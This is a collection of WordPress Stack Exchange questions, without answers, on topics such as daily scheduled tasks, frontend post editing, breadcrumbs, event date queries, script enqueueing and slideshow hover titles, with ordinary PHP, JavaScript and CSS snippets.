text: In a plugin I want to build, it deals with contests. A contest has a date on it. Does WordPress have a feature in it where it can run a piece of code every day without requiring someone to create a cron job? Basically I'm wondering if, when you build a blog with WordPress, if WordPress.org or Automattic automatically pings your site once a day or something like that. Because if that's true, I can hook that event and make it run a contest date check.


title: Wordpress wp_editor to post and edit

text: I browsed through all the topics here on stackexchange to find an answer to my problem but couldn't quite get there. This snippet enables you to post from the frontend, but how about editing. Each post on the front page should have a edit button, that leads to editing that post, so I should write some code to a loop I guess?         I'd like to be able to post and edit posts from the frontend kind of like in Facebook.   example   Aaargh, it's driving me mad, I've tried to figure this out for weeks now. I have designed several sites with the WP but I wouldn’t consider my self as a coder, so ANY help would be greatly appreciated. -Tuomas


title: How-to get the get_category_parents() breadcrumbs trail without link on last item

text: Just a question : I want to use `get_category_parents()` to display a breadcrumb on a category archive page, but with no link on the current displayed category (SEO purposes, because they say that's a link to itself. I'm not sure search engines are _that_ stupid, but anyway). Like this : > link_home » link_cat1 » link_subcat1 » nolink_subsubcat1 `get_category_parents()` is perfect for that, but there's only two options : with links and without links. What I want is links BUT on the last item. The function is returning a string, not a object or array, so I cannot remove the last item. I could do with regex by searching with the `»` separator and remove last link that way, but i'm pretty bad with regexes (if you know good references for that, i'm interested !). I know the obvious answer is to create a custom function using `get_ancestors()` and a loop , then simply adding after the current category name. But I wanted to know is there is some more simplier way, but just hooking `get_category_parents()` to not adding link to the last item ? Thank you for any insight. Regards Simon


title: Set default (auto) slug prefix for Tags

text: Is it possible to add default prefix to the slug of each newly added **Tag**. So that full slug, would be stored in database (no rewrites). **For example:**   * _**Name_** : Tag1 -> **_Slug:_** prefix-tag1    * _**Name_** : Tag2 -> **_Slug:_** prefix-tag2   * ...


title: how to compare different timestamps in wp-query for events custom post types?

text:
I have a custom post type with custom metaboxes (as seen on wptheming.com) and would like to make a query to show upcoming events, say in the sidebar, where past dates are left out. But I need a value of the current time to compare with the events start time. Right now i got a current time from `current_time('mysql')` that looks like this: 2012-02-16 13:15:31 And a start time from the meta that looks like this: 201108121100 How can I make the two dates comparable? Can i do it inside the query or is there another solution? Below is my query so far (with the "value" left blank, and the time-stamps echoed out):               <?php $args = array(          'post_type'     => 'event',         'meta_key'      => '_start_eventtimestamp',         'orderby'       => 'meta_value_num',         'meta_query'    => array(                              array(                                     'key'     => '_start_eventtimestamp',                                     'value'   => '',                                     'compare' => '!=',                                     'type'    => 'NUMERIC'                                 )                             ),         'order' => 'ASC',         'posts_per_page' => 10,         );          $events = new WP_Query( $args );          if ( $events->have_posts() ) :     echo '
';     while ( $events->have_posts() ) : $events->the_post();     echo '
' . current_time('mysql') . '
';     echo '
' . get_post_meta( $post->ID, '_start_eventtimestamp', true ) . '
';     endwhile;     echo '
';          endif;      ?> Below is the code in my function.php. (It works fine in the archive-event.php but not anywhere else):               function ep_event_query( $query ) {          // http://codex.wordpress.org/Function_Reference/current_time     $current_time = current_time('mysql');     list( $today_year, $today_month, $today_day, $hour, $minute, $second ) = split( '([^0-9])', $current_time );     $current_timestamp = $today_year . $today_month . $today_day . $hour . $minute;          global $wp_the_query;          if ( $wp_the_query === $query && !is_admin() && is_post_type_archive( 'event' ) ) {         $meta_query = array(             array(                 'key' => '_start_eventtimestamp',                 'value' => $current_timestamp,                 'compare' => '>'             )         );         $query->set( 'meta_query', $meta_query );         $query->set( 'orderby', 'meta_value_num' );         $query->set( 'meta_key', '_start_eventtimestamp' );         $query->set( 'order', 'ASC' );     }      } add_action( 'pre_get_posts', 'ep_event_query' ); How do i do this?


title: Which contact form plugin passes Outlook junk / spam filters?

text: I'd like to know which contact form plugin has the best header and email creation so that Outlook does not filter it as junk mail. I'm using jigowatts simple php contact form. I am going to test the AJAX WP plugin version but would like to hear from everyone and what they use to get emails accepted by Outlook. Thanks


title: Enqueue script with url_query variables?

text: Is there an easy way to enqueue a JavaScript file with url_query values populated? I have a php file underneath my js directory with JavaScript headers that I want to generate some dynamic JavaScript depending on the url_query values. Thanks Gs UPDATE: Yes, in the widget class I added the following (as a test): (in the constructor, I just wanted to make a completely unique ID so I took the timestamp + a bunch of random #s):               $this->widget_id=time().rand(2,10).rand(2,10).rand(2,10).rand(2,10).rand(2,10).rand(2,10);     add_action('wp_footer', array( &$this, 'footer_js' ));      (then the method):               public function footer_js(){           wp_register_script( 'mgs-site-script'.$this->widget_id, $this->plugin_location . "js/mgs.js", array('jquery'),'1.2.0');           wp_enqueue_script( 'mgs-site-script'.$this->widget_id );           $translation_array = array( 'some_string' => __( 'Some string to translate' ), 'a_value' => '10' );           wp_localize_script( 'mgs-site-script', 'object_name', $translation_array );       }      Then in mgs.js I tried to access the variables by calling:               alert(object_name.some_string);      but firebug spits out "object_name is not defined"


title: Downsides to not using built-in "Posts" post type?

text: I plan on skipping the Posts post type once and for all. This is a brand new portal. It will have 100s of thousands of content in the form of articles, multimedia, and links. Instead of Posts, I will be using a custom post type called "Articles." Similarly, for my video, audio, and picture posts, I will be using another CPT called "Multimedia." I'm doing this to bring a one standard across all actions that is anytime we post anything, that's a CPT. That helps me deal with urls, Admin UI, who has control over what, what taxonomies to show when, and all that. Two questions:   1. how do you get rid of the post menu on the admin ui?    2. any issues of skipping the post type and not using it at all?


title: How to filter out Categories for specific post types on Wordpress Admin?

text: How can i programatically change the Category selection menu on wp-admin? is there a hook or filter to edit the Category List? My objective is to filter out specific categories for specific post-types, for example: I have the categories: Sports,Players and Coaches under the post-types: People and Activities I want to filter the Sports Category out of the People Post-type.


title: Hook for feed creation?

text: I'm looking to create a function which would be called when the blog's `/feed/?args...` URL is requested. I've been looking at `the_content_feed`, would that be correct? Also, how would I get the `args` in the URL into my function as an array?


title: Highlight post in sidebar on single page

text:
When you have a menu for say pages, it's easy to highlight your current page, since WP puts a class on it. But what I have is a sidebar with the 20 latest posts in a loop and a separate main content area for the normal page loop and single page/category page etc. My sidebar loop looks like this.
                         <?php                             $sidebar_query = new WP_Query(array(                                 'showposts' => 20                             ) );                         ?>                              <?php while ($sidebar_query->have_posts()) : $sidebar_query->the_post(); ?>
                             <?php if(has_post_thumbnail()) :?>
                                     <?php the_post_thumbnail('sidethumb'); ?>
                              <?php else :?>                             <?php endif;?>                                 <a href="<?php the_permalink() ?>">                                                                  <?php                                 $cat_names = wp_list_pluck( get_the_category(), 'cat_name');                                 echo wp_sprintf_l( '%l', $cat_names );                             ?>
<?php the_title (); ?>
                                                                      <?php echo human_time_diff( get_the_time('U'), current_time('timestamp') ) . ' ago'; ?>
                              <?php endwhile; wp_reset_query(); ?>
         Now, what'd be the best way (if there's a way) to highlight the current post when on a single page? Now I could echo out a class or something in there, but then it'd be applied to all the posts in the loop so that'd be useless. So I've got say, Story one Story two Story three in the sidebar and I'm on the page of story 1, how would one add a class to only that post so it can be highlighted with css?


title: Title on hovering on the featured image

text:
I have used the following code to make a slideshow of the featured image of a category.I want to show the title of the post when hovering on the image. But I don't know how to do it. Anyone please help. **Code in functions.php**               register_post_type( 'featured_content' );          add_action( 'init', 'get_the_js' );          function get_the_js() {     wp_register_script( 'jquery.cycle', get_stylesheet_directory_uri(). '/js/jquery.cycle.lite.js', array('jquery'), TRUE);     wp_enqueue_script('jquery.cycle' );     wp_enqueue_script( 'custom', get_stylesheet_directory_uri(). '/js/custom.js', array('jquery.cycle'), TRUE);             }          add_image_size( 'featured',  700, 285, true );      **Code for displaying slideshow**

             «Prev Next»

                  <?php                         $i = 1;                         global $wp_query;                         $custom_query = array('category_name' =>'products',                             'posts_per_page' => -1                         );                         if ( $custom_query )                             query_posts( $custom_query );                         $more = 0;                     ?>             <?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?>                  <li class="cycle-item slide-<?php echo $i; ?>">                       <a href="<?php the_permalink();?>"><?php   the_post_thumbnail('featured'); ?>
                  <?php                         $i++;                         endwhile;                         endif;                     ?>                     <?php wp_reset_query(); ?>

       **Code in custom.js**               jQuery.noConflict();     jQuery(document).ready(function($) {     jQuery('ul#cycle').cycle({             timeout: 9000,             speed: 1500,             delay: 2000,             prev:   '#prev2',             next:   '#next2'         });     });      **CSS**                #home-slider {     width:735px;      overflow:hidden;      height:280px;      float:right;      position:relative;      margin-right:0;      display:inline-block      }               a#prev2 {     position:absolute;      width:31px;      height:32px;      text-indent:-999em;      z-index:100;      background-position:0 0;      background-image:url(images/cycle-nav.png);      top:185px;      box-shadow:1px 1px 2px rgba(2,2,2,0.3);      -moz-box-shadow:1px 1px 2px rgba(2,2,2,0.3);       -webkit-box-shadow:1px 1px 2px rgba(2,2,2,0.3)     }          a#prev2:hover {     background-position:0px -32px     }           a#next2 {     position:absolute;      right:0px;      width:31px;      height:31px;      display:block;      z-index:100;      top:185px;      background-position:31px 0px;      background-image:url(images/cycle-nav.png);      overflow:hidden;      text-indent:-999em;      box-shadow:1px 1px 2px rgba(2,2,2,.3);       -moz-box-shadow:1px 1px 2px rgba(2,2,2,0.3);       -webkit-box-shadow:1px 1px 2px rgba(2,2,2,0.3)     }           a#next2:hover {     background-position:31px -32px     }          ul#cycle {      margin:0;       padding:0;       list-style:none     }          ul#cycle .excerpt {     width:700px;      height:82px;     background: rgb(0, 0, 0);      background:rgba(0,0,0,.5);      position:absolute; bottom:0;     padding:10px 20px 10px 25px;      overflow:hidden     }      **Below is the example of what I want** ![enter image description here](http://i.stack.imgur.com/hPphY.png) You can see the title of the image on the image. I want the same but the only difference is i need the title when I hover on the image.